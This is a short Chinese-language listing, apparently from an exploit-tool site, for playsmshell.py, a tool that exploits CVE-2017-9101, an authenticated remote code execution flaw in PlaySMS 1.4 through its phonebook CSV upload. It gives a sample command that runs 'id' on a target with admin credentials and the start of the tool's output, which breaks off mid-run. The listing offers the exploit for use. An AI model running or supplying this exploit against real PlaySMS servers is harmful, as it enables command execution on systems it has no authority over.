CVE-2017-9101

PlaySMS 1.4 认证后的远程代码执行漏洞 通过电话簿CSV上传问题执行远程代码的简单方法，如 ExploitDB 所述。 可以运行单个命令： root@kitploit: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token for login Attempting to login as admin + Logged in! Grabbing CSRF token for phonebook import...